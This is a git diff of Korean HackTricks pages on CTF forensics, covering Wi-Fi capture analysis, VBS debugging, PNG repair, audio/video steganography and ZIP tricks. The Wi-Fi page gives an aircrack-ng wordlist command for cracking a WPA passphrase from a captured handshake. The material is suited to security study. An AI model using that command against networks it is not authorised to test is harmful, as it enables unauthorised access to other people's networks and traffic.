* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 **HackTricks** 및 **HackTricks Cloud** github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# BSSID 확인
|
||||
|
||||
WireShark를 사용하여 주요 트래픽이 Wifi인 캡처를 받으면 _Wireless --> WLAN Traffic_를 사용하여 캡처의 모든 SSID를 조사할 수 있습니다:
|
||||
WireShark를 사용하여 Wifi 주요 트래픽을 포함하는 캡처를 받았을 때, _Wireless --> WLAN Traffic_를 사용하여 캡처의 모든 SSID를 조사할 수 있습니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (424).png>)
|
||||
|
||||
|
@ -23,46 +24,26 @@ WireShark를 사용하여 주요 트래픽이 Wifi인 캡처를 받으면 _Wirel
|
|||
|
||||
## 브루트 포스
|
||||
|
||||
해당 화면의 열 중 하나는 pcap 내에서 **인증이 발견되었는지 여부**를 나타냅니다. 그렇다면 `aircrack-ng`를 사용하여 브루트 포스를 시도할 수 있습니다:
|
||||
해당 화면의 열 중 하나는 **pcap 내에서 인증이 발견되었는지 여부**를 나타냅니다. 그렇다면 `aircrack-ng`를 사용하여 브루트 포스를 시도할 수 있습니다:
|
||||
```bash
|
||||
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
|
||||
```
|
||||
예를 들어, 나중에 트래픽을 해독하기 위해 필요한 PSK (사전 공유 키)를 보호하는 WPA 암호를 검색할 수 있습니다.
|
||||
# 데이터 비콘 / 사이드 채널 내의 데이터 누출 의심
|
||||
|
||||
# 비콘 / 사이드 채널의 데이터
|
||||
만약 **Wifi 네트워크의 비콘 내에서 데이터가 누출되고 있다고 의심**한다면 다음과 같은 필터를 사용하여 네트워크의 비콘을 확인할 수 있습니다: `wlan contains <네트워크이름>`, 또는 `wlan.ssid == "네트워크이름"` 필터된 패킷 내에서 의심스러운 문자열을 찾습니다.
|
||||
|
||||
만약 **Wifi 네트워크의 비콘 내에서 데이터가 유출되고 있다고 의심**한다면, 다음과 같은 필터를 사용하여 네트워크의 비콘을 확인할 수 있습니다: `wlan contains <네트워크이름>`, 또는 `wlan.ssid == "네트워크이름"` 필터링된 패킷 내에서 의심스러운 문자열을 찾습니다.
|
||||
# Wifi 네트워크 내의 알 수 없는 MAC 주소 찾기
|
||||
|
||||
# Wifi 네트워크에서 알 수 없는 MAC 주소 찾기
|
||||
|
||||
다음 링크는 **Wifi 네트워크 내에서 데이터를 보내는 기기들을 찾는 데 유용**할 것입니다:
|
||||
다음 링크는 **Wifi 네트워크 내에서 데이터를 보내는 기기를 찾는 데 유용**할 것입니다:
|
||||
|
||||
* `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
|
||||
|
||||
이미 알고 있는 **MAC 주소를 알고 있다면 출력에서 제외**하기 위해 다음과 같은 체크를 추가할 수 있습니다: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
|
||||
이미 알고 있는 **MAC 주소가 있다면 출력에서 제거**할 수 있도록 다음과 같은 확인 사항을 추가할 수 있습니다: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
|
||||
|
||||
네트워크 내에서 통신하는 **알 수 없는 MAC 주소를 감지한 후**, 다음과 같은 필터를 사용하여 해당 트래픽을 필터링할 수 있습니다: `wlan.addr==<MAC 주소> && (ftp || http || ssh || telnet)`. 트래픽을 해독한 경우 ftp/http/ssh/telnet 필터는 유용합니다.
|
||||
네트워크 내에서 통신하는 **알 수 없는 MAC 주소를 감지**하면 다음과 같은 필터를 사용하여 해당 트래픽을 필터링할 수 있습니다: `wlan.addr==<MAC 주소> && (ftp || http || ssh || telnet)` ftp/http/ssh/telnet 필터는 트래픽을 해독했다면 유용합니다.
|
||||
|
||||
# 트래픽 해독
|
||||
|
||||
편집 --> 환경 설정 --> 프로토콜 --> IEEE 802.11 --> 편집
|
||||
편집 --> 환경 설정 --> 프로토콜 --> IEEE 802.11--> 편집
|
||||
|
||||
![](<../../../.gitbook/assets/image (426).png>)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **자신의 해킹 기법을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,19 +1,20 @@
|
|||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
여기에서 특정 파일 유형 및/또는 소프트웨어에 대한 흥미로운 트릭을 찾을 수 있습니다:
|
||||
특정 파일 유형 및/또는 소프트웨어에 대한 흥미로운 트릭을 찾을 수 있습니다:
|
||||
|
||||
{% page-ref page=".pyc.md" %}
|
||||
|
||||
|
@ -32,21 +33,3 @@ HackTricks를 지원하는 다른 방법:
|
|||
{% page-ref page="video-and-audio-file-analysis.md" %}
|
||||
|
||||
{% page-ref page="zips-tricks.md" %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹 배우고 실습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 실습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
악성 VBS 파일을 디버그/해독하는 데 유용할 수 있는 몇 가지 사항:
|
||||
|
@ -23,41 +24,11 @@ Wscript.Echo "Like this?"
|
|||
```bash
|
||||
' this is a comment
|
||||
```
|
||||
## 테스트
|
||||
## 시험
|
||||
```bash
|
||||
cscript.exe file.vbs
|
||||
```
|
||||
## 파일에 데이터 작성하기
|
||||
|
||||
To write data to a file in Python, you can use the `write()` method of the file object. Here is an example:
|
||||
|
||||
```python
|
||||
# 파일 열기
|
||||
file = open("filename.txt", "w")
|
||||
|
||||
# 데이터 작성
|
||||
file.write("Hello, World!")
|
||||
|
||||
# 파일 닫기
|
||||
file.close()
|
||||
```
|
||||
|
||||
위의 예시에서는 Python의 파일 객체의 `write()` 메서드를 사용하여 파일에 데이터를 작성합니다.
|
||||
|
||||
```python
|
||||
# 파일 열기
|
||||
file = open("filename.txt", "w")
|
||||
|
||||
# 데이터 작성
|
||||
file.write("안녕하세요, 세상!")
|
||||
|
||||
# 파일 닫기
|
||||
file.close()
|
||||
```
|
||||
|
||||
In this example, we open the file named "filename.txt" in write mode (`"w"`), write the string "Hello, World!" to the file, and then close the file.
|
||||
|
||||
위의 예시에서는 "filename.txt"라는 파일을 쓰기 모드(`"w"`)로 열고, 문자열 "안녕하세요, 세상!"을 파일에 작성한 후 파일을 닫습니다.
|
||||
```js
|
||||
Function writeBinary(strBinary, strPath)
|
||||
|
||||
|
@ -82,16 +53,17 @@ End With
|
|||
|
||||
End Function
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,7 @@
|
|||
<details>
|
||||
{% hint style="success" %}
|
||||
**PNG 파일**은 **CTF 도전 과제**에서 **무손실 압축**으로 인해 높이 평가되며, 숨겨진 데이터를 포함하기에 이상적입니다. **Wireshark**와 같은 도구는 네트워크 패킷 내에서 PNG 파일의 데이터를 해석하여 포함된 정보나 이상을 드러내는 분석을 가능케 합니다.
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
PNG 파일 무결성을 확인하고 손상을 복구하기 위해 **pngcheck**는 중요한 도구로, PNG 파일을 유효성 검사하고 진단하는 명령줄 기능을 제공합니다 ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). 파일이 간단한 수정을 넘어선 경우, [OfficeRecovery의 PixRecovery](https://online.officerecovery.com/pixrecovery/)와 같은 온라인 서비스는 **손상된 PNG 복구**를 위한 웹 기반 솔루션을 제공하여 CTF 참가자들에게 중요한 데이터를 복구하는 데 도움을 줍니다.
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
**PNG 파일**은 **CTF 도전과제**에서 **무손실 압축**으로 인해 높이 평가되며, 숨겨진 데이터를 포함하기에 이상적입니다. **Wireshark**와 같은 도구를 사용하여 PNG 파일을 분석하면 네트워크 패킷 내의 데이터를 해체하여 포함된 정보나 이상점을 확인할 수 있습니다.
|
||||
|
||||
PNG 파일의 무결성을 확인하고 손상을 복구하기 위해 **pngcheck**는 핵심 도구로, PNG 파일을 유효성 검사하고 진단하는 명령줄 기능을 제공합니다 ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). 파일이 간단한 수정을 넘어선 경우, [OfficeRecovery의 PixRecovery](https://online.officerecovery.com/pixrecovery/)와 같은 온라인 서비스는 손상된 PNG 파일을 복구하여 CTF 참가자들에게 중요한 데이터를 회복하는 데 도움을 줍니다.
|
||||
|
||||
이러한 전략은 CTF에서 숨겨진 또는 손실된 데이터를 발견하고 복구하기 위해 분석 도구와 복구 기술을 조합한 포괄적인 접근의 중요성을 강조합니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
이러한 전략은 CTF에서 종합적인 접근 방식의 중요성을 강조하며, 분석 도구와 복구 기술을 결합하여 숨겨진 데이터를 발견하고 복구하는 데 도움이 됩니다.
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,14 @@
|
|||
<details>
|
||||
{% hint style="success" %}
|
||||
**오디오 및 비디오 파일 조작**은 **CTF 포렌식 도전 과제**에서 핵심 요소로, **스테가노그래피** 및 메타데이터 분석을 활용하여 비밀 메시지를 숨기거나 드러내는 데 사용됩니다. **[mediainfo](https://mediaarea.net/en/MediaInfo)** 및 **`exiftool`**과 같은 도구는 파일 메타데이터를 검사하고 콘텐츠 유형을 식별하는 데 필수적입니다.
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
오디오 도전 과제의 경우 **[Audacity](http://www.audacityteam.org/)**는 오디오에 인코딩된 텍스트를 발견하는 데 필수적인 파형 및 스펙트로그램 분석을 위한 주요 도구로 두드러집니다. **[Sonic Visualiser](http://www.sonicvisualiser.org/)**는 자세한 스펙트로그램 분석을 위해 강력히 추천됩니다. **Audacity**는 숨겨진 메시지를 감지하기 위해 트랙을 감속하거나 반전하는 등의 오디오 조작을 허용합니다. **[Sox](http://sox.sourceforge.net/)**는 오디오 파일의 변환 및 편집에 뛰어난 명령줄 유틸리티입니다.
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
**최소 유효 비트 (LSB)** 조작은 오디오 및 비디오 스테가노그래피에서 흔한 기술로, 미디어 파일의 고정 크기 청크를 이용하여 데이터를 비밀리에 삽입합니다. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)**는 **DTMF 톤** 또는 **모스 부호**로 숨겨진 메시지를 해독하는 데 유용합니다.
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
비디오 도전 과제는 오디오 및 비디오 스트림을 번들로 제공하는 컨테이너 형식을 주로 다룹니다. **[FFmpeg](http://ffmpeg.org/)**는 이러한 형식을 분석하고 조작하는 데 사용되며, 디멀티플렉싱 및 콘텐츠 재생이 가능합니다. 개발자를 위해 **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)**는 Python으로 고급 스크립트 상호작용을 위해 FFmpeg의 기능을 통합합니다.
|
||||
|
||||
</details>
|
||||
|
||||
**오디오 및 비디오 파일 조작**은 **CTF 포렌식 도전과제**에서 흔히 사용되며, **스테가노그래피**와 메타데이터 분석을 활용하여 비밀 메시지를 숨기거나 드러내는 데 사용됩니다. **[mediainfo](https://mediaarea.net/en/MediaInfo)**와 **`exiftool`**과 같은 도구는 파일 메타데이터를 검사하고 콘텐츠 유형을 식별하는 데 필수적입니다.
|
||||
|
||||
오디오 도전과제의 경우, 텍스트를 오디오에 인코딩하는 데 필수적인 파형 및 스펙트로그램을 보는 데 주로 사용되는 주요 도구인 **[Audacity](http://www.audacityteam.org/)**가 돋보입니다. 자세한 스펙트로그램 분석을 위해 **[Sonic Visualiser](http://www.sonicvisualiser.org/)**를 강력히 추천합니다. **Audacity**는 음성 메시지를 감지하기 위해 트랙을 감속하거나 반전하는 등의 오디오 조작을 허용합니다. 오디오 파일의 변환 및 편집에는 명령 줄 유틸리티인 **[Sox](http://sox.sourceforge.net/)**가 뛰어납니다.
|
||||
|
||||
**최하위 비트 (LSB)** 조작은 오디오 및 비디오 스테가노그래피에서 흔히 사용되는 기술로, 미디어 파일의 고정 크기 청크를 이용하여 데이터를 은밀하게 포함시킵니다. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)**는 **DTMF 톤**이나 **모스 부호**로 숨겨진 메시지를 해독하는 데 유용합니다.
|
||||
|
||||
비디오 도전과제는 종종 오디오 및 비디오 스트림을 번들로 포함하는 컨테이너 형식을 포함합니다. **[FFmpeg](http://ffmpeg.org/)**는 이러한 형식을 분석하고 조작하는 데 가장 많이 사용되며, 다중화 및 콘텐츠 재생이 가능합니다. 개발자를 위해 **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)**는 Python에서 FFmpeg의 기능을 고급 스크립트 상호작용을 위해 통합합니다.
|
||||
|
||||
이러한 도구들의 다양성은 CTF 도전과제에서 요구되는 다양한 분석 및 조작 기술을 활용하여 오디오 및 비디오 파일 내에 숨겨진 데이터를 발견해야 하는 능력을 강조합니다.
|
||||
이러한 도구 집합은 CTF 도전 과제에서 필요한 다양성을 강조하며, 참가자들은 오디오 및 비디오 파일 내에 숨겨진 데이터를 발견하기 위해 다양한 분석 및 조작 기술을 사용해야 합니다.
|
||||
|
||||
## 참고 자료
|
||||
* [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,44 +1,46 @@
|
|||
# ZIP 트릭
|
||||
# ZIPs 트릭
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 트릭을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
